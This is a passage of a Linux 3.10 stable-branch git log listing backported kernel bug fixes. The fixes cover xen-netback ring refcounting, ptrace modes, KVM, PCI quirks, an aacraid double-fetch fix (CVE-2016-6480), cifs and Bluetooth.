1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit commit 12d6a852db4ddf4ecd06fe5a926ce59511eb1a66 Author: Willy Tarreau Date: Fri Oct 21 12:13:35 2016 +0200 Linux 3.10.104 Signed-off-by: Pranav Vashi commit ab0bc295c6b0c43826b2e0cb5acb96febfb55892 Author: Wei Liu Date: Fri Jul 11 17:37:37 2014 +0100 xen-netback: ref count shared rings ... so that we can make sure the rings are not freed until all SKBs in internal queues are consumed. 1. The VM is receiving packets through bonding + bridge + netback + netfront. 2. For some unknown reason at least one packet remains in the rx queue and is not delivered to the domU immediately by netback. 3. The VM finishes shutting down. 4. The shared ring between dom0 and domU is freed. 5. then xen-netback continues processing the pending requests and tries to put the packet into the now already released shared ring. > XXXlan0: port 9(vif26.0) entered disabled state > BUG: unable to handle kernel paging request at ffffc900108641d8 > IP: [] xen_netbk_rx_action+0x18b/0x6f0 [xen_netback] > PGD 57e20067 PUD 57e21067 PMD 571a7067 PTE 0 > Oops: 0000 [#1] SMP > ... > CPU: 0 PID: 12587 Comm: netback/0 Not tainted 3.10.0-ucs58-amd64 #1 Debian 3.10.11-1.58.201405060908 > Hardware name: FUJITSU PRIMERGY BX620 S6/D3051, BIOS 080015 Rev.3C78.3051 07/22/2011 > task: ffff880004b067c0 ti: ffff8800561ec000 task.ti: ffff8800561ec000 > RIP: e030:[] [] xen_netbk_rx_action+0x18b/0x6f0 [xen_netback] > RSP: e02b:ffff8800561edce8 EFLAGS: 00010202 > RAX: ffffc900104adac0 RBX: ffff8800541e95c0 RCX: ffffc90010864000 > RDX: 000000000000003b RSI: 0000000000000000 RDI: ffff880040014380 > RBP: ffff8800570e6800 R08: 0000000000000000 R09: ffff880004799800 > R10: ffffffff813ca115 R11: ffff88005e4fdb08 R12: ffff880054e6f800 > R13: ffff8800561edd58 R14: ffffc900104a1000 R15: 0000000000000000 > FS: 00007f19a54a8700(0000) GS:ffff88005da00000(0000) knlGS:0000000000000000 > CS: e033 DS: 0000 ES: 0000 CR0: 000000008005003b > CR2: ffffc900108641d8 CR3: 0000000054cb3000 CR4: 0000000000002660 > DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 > DR3: 0000000000000000 DR6: 00000000ffff0ff0 DR7: 0000000000000400 > Stack: > ffff880004b06ba0 0000000000000000 ffff88005da13ec0 ffff88005da13ec0 > 0000000004b067c0 ffffc900104a8ac0 ffffc900104a1020 000000005da13ec0 > 0000000000000000 0000000000000001 ffffc900104a8ac0 ffffc900104adac0 > Call Trace: > [] ? _raw_spin_lock_irqsave+0x11/0x2f > [] ? xen_netbk_kthread+0x174/0x841 [xen_netback] > [] ? wake_up_bit+0x20/0x20 > [] ? xen_netbk_tx_build_gops+0xce8/0xce8 [xen_netback] > [] ? kthread_freezable_should_stop+0x56/0x56 > [] ? xen_netbk_tx_build_gops+0xce8/0xce8 [xen_netback] > [] ? kthread+0xab/0xb3 > [] ? xen_end_context_switch+0xe/0x1c > [] ? kthread_freezable_should_stop+0x56/0x56 > [] ? ret_from_fork+0x7c/0xb0 > [] ? kthread_freezable_should_stop+0x56/0x56 > Code: 8b b3 d0 00 00 00 48 8b bb d8 00 00 00 0f b7 74 37 02 89 70 08 eb 07 c7 40 08 00 00 00 00 89 d2 c7 40 04 00 00 00 00 48 83 c2 08 <0f> b7 34 d1 89 30 c7 44 24 60 00 00 00 00 8b 44 d1 04 89 44 24 > RIP [] xen_netbk_rx_action+0x18b/0x6f0 [xen_netback] > RSP > CR2: ffffc900108641d8 Track the shared ring buffer being unmapped and drop those packets. Ref-count the rings as followed: map -> set to 1 start_xmit -> inc when queueing SKB to internal queue rx_action -> dec after finishing processing a SKB unmap -> dec and wait to be 0 Note that this is different from ref counting the vif structure itself. Currently only guest Rx path is taken care of because that's where the bug surfaced. This bug doesn't exist in kernel >=3.12 as multi-queue support was added there. Link: Signed-off-by: Wei Liu Signed-off-by: Philipp Hahn Cc: David Vrabel Tested-by: Philipp Hahn Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit ba9bc99c6054fccd567308df60b554d43e3b6d4b Author: Jann Horn Date: Wed Jan 20 15:00:01 2016 -0800 security: let security modules use PTRACE_MODE_* with bitmasks commit 3dfb7d8cdbc7ea0c2970450e60818bb3eefbad69 upstream. It looks like smack and yama weren't aware that the ptrace mode can have flags ORed into it - PTRACE_MODE_NOAUDIT until now, but only for /proc/$pid/stat, and with the PTRACE_MODE_*CREDS patch, all modes have flags ORed into them. Signed-off-by: Jann Horn Acked-by: Kees Cook Acked-by: Casey Schaufler Cc: Oleg Nesterov Cc: Ingo Molnar Cc: James Morris Cc: "Serge E. Hallyn" Cc: Andy Shevchenko Cc: Andy Lutomirski Cc: Al Viro Cc: "Eric W. Biederman" Cc: Willy Tarreau Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds [wt: no smk_ptrace_mode() in 3.10] Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit fa0264fc94caac45b9a35f3cc6ce2609c2da26b9 Author: James Hogan Date: Thu Sep 15 22:51:27 2016 +0100 MIPS: KVM: Check for pfn noslot case commit ba913e4f72fc9cfd03dad968dfb110eb49211d80 upstream. When mapping a page into the guest we error check using is_error_pfn(), however this doesn't detect a value of KVM_PFN_NOSLOT, indicating an error HVA for the page. This can only happen on MIPS right now due to unusual memslot management (e.g. being moved / removed / resized), or with an Enhanced Virtual Memory (EVA) configuration where the default KVM_HVA_ERR_* and kvm_is_error_hva() definitions are unsuitable (fixed in a later patch). This case will be treated as a pfn of zero, mapping the first page of physical memory into the guest. It would appear the MIPS KVM port wasn't updated prior to being merged (in v3.10) to take commit 81c52c56e2b4 ("KVM: do not treat noslot pfn as a error pfn") into account (merged v3.8), which converted a bunch of is_error_pfn() calls to is_error_noslot_pfn(). Switch to using is_error_noslot_pfn() instead to catch this case properly. Fixes: 858dd5d45733 ("KVM/MIPS32: MMU/TLB operations for the Guest.") Signed-off-by: James Hogan Cc: Paolo Bonzini Cc: "Radim KrÄÂmář" Cc: Ralf Baechle Cc: linux-mips@linux-mips.org Cc: kvm@vger.kernel.org Signed-off-by: Paolo Bonzini [james.hogan@imgtec.com: Backport to v3.16.y] Signed-off-by: James Hogan Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit d8d6fa68ddc5bbe61c18507935e3ca2869bc972e Author: Andrea Arcangeli Date: Fri Feb 26 15:19:28 2016 -0800 mm: thp: fix SMP race condition between THP page fault and MADV_DONTNEED commit ad33bb04b2a6cee6c1f99fabb15cddbf93ff0433 upstream. pmd_trans_unstable()/pmd_none_or_trans_huge_or_clear_bad() were introduced to locklessy (but atomically) detect when a pmd is a regular (stable) pmd or when the pmd is unstable and can infinitely transition from pmd_none() and pmd_trans_huge() from under us, while only holding the mmap_sem for reading (for writing not). While holding the mmap_sem only for reading, MADV_DONTNEED can run from under us and so before we can assume the pmd to be a regular stable pmd we need to compare it against pmd_none() and pmd_trans_huge() in an atomic way, with pmd_trans_unstable(). The old pmd_trans_huge() left a tiny window for a race. Useful applications are unlikely to notice the difference as doing MADV_DONTNEED concurrently with a page fault would lead to undefined behavior. [js] 3.12 backport: no pmd_devmap in 3.12 yet. [akpm@linux-foundation.org: tidy up comment grammar/layout] Signed-off-by: Andrea Arcangeli Reported-by: Kirill A. Shutemov Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Cc: Vlastimil Babka Signed-off-by: Jiri Slaby Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit d158884088e2e8cd5f23c9e11eb9a96ff1a031e9 Author: Dan Carpenter Date: Thu May 5 16:23:04 2016 +0300 ACPI / sysfs: fix error code in get_status() commit f18ebc211e259d4f591e39e74b2aa2de226c9a1d upstream. The problem with ornamental, do-nothing gotos is that they lead to "forgot to set the error code" bugs. We should be returning -EINVAL here but we don't. It leads to an uninitalized variable in counter_show(): drivers/acpi/sysfs.c:603 counter_show() error: uninitialized symbol 'status'. Fixes: 1c8fce27e275 (ACPI: introduce drivers/acpi/sysfs.c) Signed-off-by: Dan Carpenter Signed-off-by: Rafael J. Wysocki Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit d9d31ad1af90ecc993b1ef426ce7422c56d4b9e8 Author: Ian Abbott Date: Wed Jun 29 20:27:44 2016 +0100 staging: comedi: daqboard2000: bug fix board type matching code commit 80e162ee9b31d77d851b10f8c5299132be1e120f upstream. `daqboard2000_find_boardinfo()` is supposed to check if the DaqBoard/2000 series model is supported, based on the PCI subvendor and subdevice ID. The current code is wrong as it is comparing the PCI device's subdevice ID to an expected, fixed value for the subvendor ID. It should be comparing the PCI device's subvendor ID to this fixed value. Correct it. Fixes: 7e8401b23e7f ("staging: comedi: daqboard2000: add back subsystem_device check") Signed-off-by: Ian Abbott Cc: # 3.7+ Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit d2616fb1f6cabb45cec36876b4e55cf74446dce5 Author: Dan Carpenter Date: Fri Jul 15 14:09:13 2016 +0300 crypto: nx - off by one bug in nx_of_update_msc() commit e514cc0a492a3f39ef71b31590a7ef67537ee04b upstream. The props->ap[] array is defined like this: struct alg_props ap[NX_MAX_FC][NX_MAX_MODE][3]; So we can see that if msc->fc and msc->mode are == to NX_MAX_FC or NX_MAX_MODE then we're off by one. Fixes: ae0222b7289d ('powerpc/crypto: nx driver code supporting nx encryption') Signed-off-by: Dan Carpenter Signed-off-by: Herbert Xu Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 792df7d5f791fd3b8286dac062298cc2cae3d067 Author: Yinghai Lu Date: Fri Aug 5 23:37:34 2016 -0700 megaraid_sas: Fix probing cards without io port commit e7f851684efb3377e9c93aca7fae6e76212e5680 upstream. Found one megaraid_sas HBA probe fails, [ 187.235190] scsi host2: Avago SAS based MegaRAID driver [ 191.112365] megaraid_sas 0000:89:00.0: BAR 0: can't reserve [io 0x0000-0x00ff] [ 191.120548] megaraid_sas 0000:89:00.0: IO memory region busy! and the card has resource like, [ 125.097714] pci 0000:89:00.0: [1000:005d] type 00 class 0x010400 [ 125.104446] pci 0000:89:00.0: reg 0x10: [io 0x0000-0x00ff] [ 125.110686] pci 0000:89:00.0: reg 0x14: [mem 0xce400000-0xce40ffff 64bit] [ 125.118286] pci 0000:89:00.0: reg 0x1c: [mem 0xce300000-0xce3fffff 64bit] [ 125.125891] pci 0000:89:00.0: reg 0x30: [mem 0xce200000-0xce2fffff pref] that does not io port resource allocated from BIOS, and kernel can not assign one as io port shortage. The driver is only looking for MEM, and should not fail. It turns out megasas_init_fw() etc are using bar index as mask. index 1 is used as mask 1, so that pci_request_selected_regions() is trying to request BAR0 instead of BAR1. Fix all related reference. Fixes: b6d5d8808b4c ("megaraid_sas: Use lowest memory bar for SR-IOV VF support") Signed-off-by: Yinghai Lu Acked-by: Kashyap Desai Signed-off-by: Martin K. Petersen Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 019bd4c204e407520f5902a4b5a8f7731494948c Author: Dave Carroll Date: Fri Aug 5 13:44:10 2016 -0600 aacraid: Check size values after double-fetch from user commit fa00c437eef8dc2e7b25f8cd868cfa405fcc2bb3 upstream. In aacraid's ioctl_send_fib() we do two fetches from userspace, one the get the fib header's size and one for the fib itself. Later we use the size field from the second fetch to further process the fib. If for some reason the size from the second fetch is different than from the first fix, we may encounter an out-of- bounds access in aac_fib_send(). We also check the sender size to insure it is not out of bounds. This was reported in https://bugzilla.kernel.org/show_bug.cgi?id=116751 and was assigned CVE-2016-6480. Reported-by: Pengfei Wang Fixes: 7c00ffa31 '[SCSI] 2.6 aacraid: Variable FIB size (updated patch)' Cc: stable@vger.kernel.org Signed-off-by: Dave Carroll Reviewed-by: Johannes Thumshirn Signed-off-by: Martin K. Petersen Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 25515b1483a306d720daad71f1da2a4d31830ed9 Author: Simon Horman Date: Fri Dec 11 11:30:12 2015 +0900 PCI: Limit config space size for Netronome NFP4000 commit c2e771b02792d222cbcd9617fe71482a64f52647 upstream. Like the NFP6000, the NFP4000 as an erratum where reading/writing to PCI config space addresses above 0x600 can cause the NFP to generate PCIe completion timeouts. Limit the NFP4000's PF's config space size to 0x600 bytes as is already done for the NFP6000. The NFP4000's VF is 0x6004 (PCI_DEVICE_ID_NETRONOME_NFP6000_VF), the same device ID as the NFP6000's VF. Thus, its config space is already limited by the existing use of quirk_nfp6000(). Signed-off-by: Simon Horman Signed-off-by: Bjorn Helgaas Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit adbcc1e7eaf6f81723d26933327ace81055c7c19 Author: Simon Horman Date: Fri Dec 11 11:30:11 2015 +0900 PCI: Add Netronome NFP4000 PF device ID commit 69874ec233871a62e1bc8c89e643993af93a8630 upstream. Add the device ID for the PF of the NFP4000. The device ID for the VF, 0x6003, is already present as PCI_DEVICE_ID_NETRONOME_NFP6000_VF. Signed-off-by: Simon Horman Signed-off-by: Bjorn Helgaas Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit b8129a6cfbde5b3d8173332ad04806b9da948f2a Author: Jason S. McMullan Date: Wed Sep 30 15:35:07 2015 +0900 PCI: Limit config space size for Netronome NFP6000 family commit 9f33a2ae59f24452c1076749deb615bccd435ca9 upstream. The NFP6000 has an erratum where reading/writing to PCI config space addresses above 0x600 can cause the NFP to generate PCIe completion timeouts. Limit the NFP6000's config space size to 0x600 bytes. Signed-off-by: Jason S. McMullan [simon: edited changelog] Signed-off-by: Simon Horman Signed-off-by: Bjorn Helgaas Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit fd80c46fbb9d9a1ed70fe61e0845de323c87b2ba Author: Jason S. McMullan Date: Wed Sep 30 15:35:06 2015 +0900 PCI: Add Netronome vendor and device IDs commit a755e169031dac9ebaed03302c4921687c271d62 upstream. Device IDs for the Netronome NFP3200, NFP3240, NFP6000, and NFP6000 SR-IOV devices. Signed-off-by: Jason S. McMullan [simon: edited changelog] Signed-off-by: Simon Horman Signed-off-by: Bjorn Helgaas Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit c583fe4032996ac49cffd4011bf64322d9b07cf1 Author: Jason S. McMullan Date: Wed Sep 30 15:35:05 2015 +0900 PCI: Support PCIe devices with short cfg_size commit c20aecf6963d1273d8f6d61c042b4845441ca592 upstream. If a device quirk modifies the pci_dev->cfg_size to be less than PCI_CFG_SPACE_EXP_SIZE (4096), but greater than PCI_CFG_SPACE_SIZE (256), the PCI sysfs interface truncates the readable size to PCI_CFG_SPACE_SIZE. Allow sysfs access to config space up to cfg_size, even if the device doesn't support the entire 4096-byte PCIe config space. Note that pci_read_config() and pci_write_config() limit access to dev->cfg_size even though pcie_config_attr contains 4096 (the maximum size). Signed-off-by: Jason S. McMullan [simon: edited changelog] Signed-off-by: Simon Horman [bhelgaas: more changelog edits] Signed-off-by: Bjorn Helgaas Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 4816a9a9df79abcedea3b102403b49ef431e966c Author: Willy Tarreau Date: Wed Oct 19 23:18:05 2016 +0200 Revert "powerpc/tm: Always reclaim in start_thread() for exec() class syscalls" This reverts commit 8110080dc53335d5dd99b123144a6174f19ffc65. Guenter noticed that this breaks PPC build when CONFIG_PPC_TRANSACTIONAL_MEM is set, because this patch was not for 3.10. Cc: Guenter Roeck Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 787e01b719a03eb6119b4f27cfe9a4ce18ad68d1 Author: Willy Tarreau Date: Sun Aug 28 12:19:20 2016 +0200 Linux 3.10.103 Signed-off-by: Pranav Vashi commit 838d3cef63876dd3e851caa5305fb4b9ee87de1b Author: dan.carpenter@oracle.com Date: Sun Jun 9 16:07:28 2013 +0300 spi: spi-xilinx: cleanup a check in xilinx_spi_txrx_bufs() commit e33d085d11e54bc9fb07b2555cd104d8e7b3089b upstream. '!' has higher precedence than comparisons so the original condition is equivalent to "if (xspi->remaining_bytes == 0)". This makes the static checkers complain. xspi->remaining_bytes is signed and from looking at the code briefly, I think it might be able to go negative. I suspect that going negative may cause a bug, but I don't have the hardware and can't test. Signed-off-by: Dan Carpenter Signed-off-by: Mark Brown Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit e7c1d46849d373736e9b36de39463492a95d4f39 Author: Alexander Shiyan Date: Tue Feb 25 23:41:14 2014 -0300 stb6100: fix buffer length check in stb6100_write_reg_range() commit 7e6bd12fb77b0067df13fb3ba3fadbdff2945396 upstream. We are checking sizeof() the wrong variable! Signed-off-by: Alexander Shiyan Signed-off-by: Michael Krufky Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 3a6568ba7dcefc3e6c782ccceded39f3565cb970 Author: Antonio Alecrim Jr Date: Sat Sep 14 14:20:40 2013 -0300 isdn: hfcpci_softirq: get func return to suppress compiler warning commit d6d6d1bc44362112e10a48d434e5b3c716152003 upstream. Signed-off-by: Antonio Alecrim Jr Signed-off-by: David S. Miller Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 6a86b3727942adb133b8b4fefb80d2825fb73f2a Author: Luis Henriques Date: Wed Aug 14 23:10:06 2013 +0100 net: rfkill: Do not ignore errors from regulator_enable() commit dee08ab83d0378d922b67e7cf10bbec3e4ea343b upstream. Function regulator_enable() may return an error that has to be checked. This patch changes function rfkill_regulator_set_block() so that it checks for the return code. Also, rfkill_data->reg_enabled is set to 'true' only if there is no error. This fixes the following compilation warning: net/rfkill/rfkill-regulator.c:43:20: warning: ignoring return value of 'regulator_enable', declared with attribute warn_unused_result [-Wunused-result] Signed-off-by: Luis Henriques Signed-off-by: Johannes Berg Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 49bd5b44207cdf5afa53f9b987c4d75ab4e65bbc Author: Tomer Barletz Date: Sun Aug 2 02:08:57 2015 -0700 ALSA: oxygen: Fix logical-not-parentheses warning commit 8ec7cfce3762299ae289c384e281b2f4010ae231 upstream. This fixes the following warning, that is seen with gcc 5.1: warning: logical not is only applied to the left hand side of comparison [-Wlogical-not-parentheses]. Signed-off-by: Tomer Barletz Signed-off-by: Takashi Iwai Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 1f9c15fb34a02265c4963f2d4043d8928f254dff Author: James C Boyd Date: Wed May 27 17:09:06 2015 -0500 HID: hid-input: Add parentheses to quell gcc warning commit 09a5c34e8d6b05663ec4c3d22b1fbd9fec89aaf9 upstream. GCC reports a -Wlogical-not-parentheses warning here; therefore add parentheses to shut it up and to express our intent more. Signed-off-by: James C Boyd Signed-off-by: Jiri Kosina Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit c17b18594d4bb8f240aaf28596372ce51fddb2ff Author: Willy Tarreau Date: Sun Aug 21 15:55:52 2016 +0200 squash mm: Export migrate_page_... : also make it non-static commit ce16887b69e94a8c0305e88c918989f8bc1bd6b7 upstream. Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit c00836d9f206e0f507f533b1e2fd2935160f60f5 Author: Tim Gardner Date: Fri Oct 30 12:22:58 2015 -0600 be2iscsi: Fix bogus WARN_ON length check commit dd29dae00d39186890a5eaa2fe4ad8768bfd41a9 upstream. drivers/scsi/be2iscsi/be_main.c: In function 'be_sgl_create_contiguous': drivers/scsi/be2iscsi/be_main.c:3187:18: warning: logical not is only applied to the left hand side of comparison [-Wlogical-not-parentheses] WARN_ON(!length > 0); gcc version 5.2.1 Signed-off-by: Tim Gardner Cc: Jayamohan Kallickal Cc: Minh Tran Cc: John Soni Jose Cc: "James E.J. Bottomley" Reported-by: Joel Stanley Reviewed-by: Manoj Kumar Signed-off-by: Martin K. Petersen Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 9aa160e1aad16bab8c6d832c3fc65c06ef04101b Author: Ben Hutchings Date: Thu Apr 28 09:24:01 2016 +0930 module: Invalidate signatures on force-loaded modules commit bca014caaa6130e57f69b5bf527967aa8ee70fdd upstream. Signing a module should only make it trusted by the specific kernel it was built for, not anything else. Loading a signed module meant for a kernel with a different ABI could have interesting effects. Therefore, treat all signatures as invalid when a module is force-loaded. Signed-off-by: Ben Hutchings Signed-off-by: Rusty Russell Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 292b76303197d5cdf51eea9502538aeefa06ed44 Author: Mike Snitzer Date: Fri Jul 29 13:19:55 2016 -0400 dm flakey: error READ bios during the down_interval commit 99f3c90d0d85708e7401a81ce3314e50bf7f2819 upstream. When the corrupt_bio_byte feature was introduced it caused READ bios to no longer be errored with -EIO during the down_interval. This had to do with the complexity of needing to submit READs if the corrupt_bio_byte feature was used. Fix it so READ bios are properly errored with -EIO; doing so early in flakey_map() as long as there isn't a match for the corrupt_bio_byte feature. Fixes: a3998799fb4df ("dm flakey: add corrupt_bio_byte feature") Reported-by: Akira Hayakawa Signed-off-by: Mike Snitzer Cc: stable@vger.kernel.org Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 7b2869e99a3006d66c0ecf61bc53a870dba5e2ca Author: Iosif Harutyunov Date: Fri Jul 22 23:22:42 2016 +0000 ubi: Fix race condition between ubi device creation and udev commit 714fb87e8bc05ff78255afc0dca981e8c5242785 upstream. Install the UBI device object before we arm sysfs. Otherwise udev tries to read sysfs attributes before UBI is ready and udev rules will not match. Cc: Signed-off-by: Iosif Harutyunov [rw: massaged commit message] Signed-off-by: Richard Weinberger Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit cb594ebb6efcae1d74c7d8292dcaa2b5987b9f16 Author: Richard Weinberger Date: Thu Jun 23 19:30:38 2016 +0200 ubi: Make volume resize power cut aware commit 4946784bd3924b1374f05eebff2fd68660bae866 upstream. When the volume resize operation shrinks a volume, LEBs will be unmapped. Since unmapping will not erase these LEBs immediately we have to wait for that operation to finish. Otherwise in case of a power cut right after writing the new volume table the UBI attach process can find more LEBs than the volume table knows. This will render the UBI image unattachable. Fix this issue by waiting for erase to complete and write the new volume table afterward. Cc: Reported-by: Boris Brezillon Reviewed-by: Boris Brezillon Signed-off-by: Richard Weinberger Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 377cf67948705fb1dec0bdddb65409ce4e885d83 Author: James Hogan Date: Thu Aug 4 17:36:08 2016 +0100 metag: Fix __cmpxchg_u32 asm constraint for CMP commit 6154c187b97ee7513046bb4eb317a89f738f13ef upstream. The LNKGET based atomic sequence in __cmpxchg_u32 has slightly incorrect constraints for the return value which under certain circumstances can allow an address unit register to be used as the first operand of a CMP instruction. This isn't a valid instruction however as the encodings only allow a data unit to be specified. This would result in an assembler error like the following: Error: failed to assemble instruction: "CMP A0.2,D0Ar6" Fix by changing the constraint from "=&da" (assigned, early clobbered, data or address unit register) to "=&d" (data unit register only). The constraint for the second operand, "bd" (an op2 register where op1 is a data unit register and the instruction supports O2R) is already correct assuming the first operand is a data unit register. Other cases of CMP in inline asm have had their constraints checked, and appear to all be fine. Fixes: 6006c0d8ce94 ("metag: Atomics, locks and bitops") Signed-off-by: James Hogan Cc: linux-metag@vger.kernel.org Cc: # 3.9.x- Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 3420b3a8bb9ee68d2c4566bf8f1a50017c3ac335 Author: Laura Abbott Date: Fri Jul 8 12:18:50 2016 -0700 ftrace/recordmcount: Work around for addition of metag magic but not relocations commit b2e1c26f0b62531636509fbcb6dab65617ed8331 upstream. glibc recently did a sync up (94e73c95d9b5 "elf.h: Sync with the gabi webpage") that added a #define for EM_METAG but did not add relocations This triggers build errors: scripts/recordmcount.c: In function 'do_file': scripts/recordmcount.c:466:28: error: 'R_METAG_ADDR32' undeclared (first use in this function) case EM_METAG: reltype = R_METAG_ADDR32; ^~~~~~~~~~~~~~ scripts/recordmcount.c:466:28: note: each undeclared identifier is reported only once for each function it appears in scripts/recordmcount.c:468:20: error: 'R_METAG_NONE' undeclared (first use in this function) rel_type_nop = R_METAG_NONE; ^~~~~~~~~~~~ Work around this change with some more #ifdefery for the relocations. Fedora Bugzilla: https://bugzilla.redhat.com/show_bug.cgi?id=1354034 Link: http://lkml.kernel.org/r/1468005530-14757-1-git-send-email-labbott@redhat.com Cc: stable@vger.kernel.org # v3.9+ Cc: James Hogan Fixes: 00512bdd4573 ("metag: ftrace support") Reported-by: Ross Burton Signed-off-by: Laura Abbott Signed-off-by: Steven Rostedt Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 6e8c3a7684ad21100de741b31db2e0cabaca9bf1 Author: Konstantin Neumoin Date: Mon Jul 11 15:28:59 2016 +0300 balloon: check the number of available pages in leak balloon commit 37cf99e08c6fb4dcea0f9ad2b13b6daa8c76a711 upstream. The balloon has a special mechanism that is subscribed to the oom notification which leads to deflation for a fixed number of pages. The number is always fixed even when the balloon is fully deflated. But leak_balloon did not expect that the pages to deflate will be more than taken, and raise a "BUG" in balloon_page_dequeue when page list will be empty. So, the simplest solution would be to check that the number of releases pages is less or equal to the number taken pages. Cc: stable@vger.kernel.org Signed-off-by: Konstantin Neumoin Signed-off-by: Denis V. Lunev CC: Michael S. Tsirkin Signed-off-by: Michael S. Tsirkin Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 29bb10d543b7ee63484ce09eac5d03fdd95d7828 Author: Paul Moore Date: Mon Jun 6 15:17:20 2016 -0400 netlabel: add address family checks to netlbl_{sock,req}_delattr() commit 0e0e36774081534783aa8eeb9f6fbddf98d3c061 upstream. It seems risky to always rely on the caller to ensure the socket's address family is correct before passing it to the NetLabel kAPI, especially since we see at least one LSM which didn't. Add address family checks to the *_delattr() functions to help prevent future problems. Cc: Reported-by: Maninder Singh Signed-off-by: Paul Moore Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 91a622bb87b9dbc96b5fa11f4a55a02722fc7fdb Author: Sachin Prabhu Date: Thu Jul 7 21:28:27 2016 +0100 cifs: Check for existing directory when opening file with O_CREAT commit 8d9535b6efd86e6c07da59f97e68f44efb7fe080 upstream. When opening a file with O_CREAT flag, check to see if the file opened is an existing directory. This prevents the directory from being opened which subsequently causes a crash when the close function for directories cifs_closedir() is called which frees up the file->private_data memory while the file is still listed on the open file list for the tcon. Signed-off-by: Sachin Prabhu Signed-off-by: Steve French CC: Stable Reported-by: Xiaoli Feng Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 4d0160957b78c657e82b089207f200755de7357d Author: Amadeusz Sławiński Date: Thu Jul 14 10:50:23 2016 +0200 Bluetooth: Fix l2cap_sock_setsockopt() with optname BT_RCVMTU commit 23bc6ab0a0912146fd674a0becc758c3162baabc upstream. When we retrieve imtu value from userspace we should use 16 bit pointer cast instead of 32 as it's defined that way in headers. Fixes setsockopt calls on big-endian platforms. Signed-off-by: Amadeusz Sławiński Signed-off-by: Marcel Holtmann Cc: stable@vger.kernel.org Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit fd346d7ba390dbc84ea0e6e0c594f36bdaf8bcff Author: Javier Martinez Canillas Date: Tue May 3 16:27:17 2016 -0400 s5p-mfc: Add release callback for memory region devs commit 6311f1261f59ce5e51fbe5cc3b5e7737197316ac upstream. When s5p_mfc_remove() calls put_device() for the reserved memory region devs, the driver core warns that the dev doesn't have a release callback: WARNING: CPU: 0 PID: 591 at drivers/base/core.c:251 device_release+0x8c/0x90 Device 's5p-mfc-l' does not have a release() function, it is broken and must be fixed. Also, the declared DMA memory using dma_declare_coherent_memory() isn't relased so add a dev .release that calls dma_release_declared_memory(). Cc: Fixes: 6e83e6e25eb4 ("[media] s5p-mfc: Fix kernel warning on memory init") Signed-off-by: Javier Martinez Canillas Tested-by: Marek Szyprowski Signed-off-by: Sylwester Nawrocki Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit a91cb000ea0f6fb269814ea31d8686d2015412da Author: Javier Martinez Canillas Date: Tue May 3 16:27:16 2016 -0400 s5p-mfc: Set device name for reserved memory region devs commit 29debab0a94035a390801d1f177d171d014b7765 upstream. The devices don't have a name set, so makes dev_name() returns NULL which makes harder to identify the devices that are causing issues, for example: WARNING: CPU: 2 PID: 616 at drivers/base/core.c:251 device_release+0x8c/0x90 Device '(null)' does not have a release() function, it is broken and must be fixed. And after setting the device name: WARNING: CPU: 0 PID: 591 at drivers/base/core.c:251 device_release+0x8c/0x90 Device 's5p-mfc-l' does not have a release() function, it is broken and must be fixed. Cc: Fixes: 6e83e6e25eb4 ("[media] s5p-mfc: Fix kernel warning on memory init") Signed-off-by: Javier Martinez Canillas Tested-by: Marek Szyprowski Signed-off-by: Sylwester Nawrocki Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit d184c9bc0c9b5a2acd2495a0297e5c6d261151cb Author: Alex Hung Date: Mon Jun 13 19:44:00 2016 +0800 hp-wmi: Fix wifi cannot be hard-unblocked commit fc8a601e1175ae351f662506030f9939cb7fdbfe upstream. Several users reported wifi cannot be unblocked as discussed in [1]. This patch removes the use of the 2009 flag by BIOS but uses the actual WMI function calls - it will be skipped if WMI reports unsupported. [1] https://bugzilla.kernel.org/show_bug.cgi?id=69131 Signed-off-by: Alex Hung Tested-by: Evgenii Shatokhin Signed-off-by: Darren Hart Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 638801470c34382cd3e031834f1310a2f46632a6 Author: Vignesh R Date: Thu Jun 9 11:02:04 2016 +0530 gpio: pca953x: Fix NBANK calculation for PCA9536 commit a246b8198f776a16d1d3a3bbfc2d437bad766b29 upstream. NBANK() macro assumes that ngpios is a multiple of 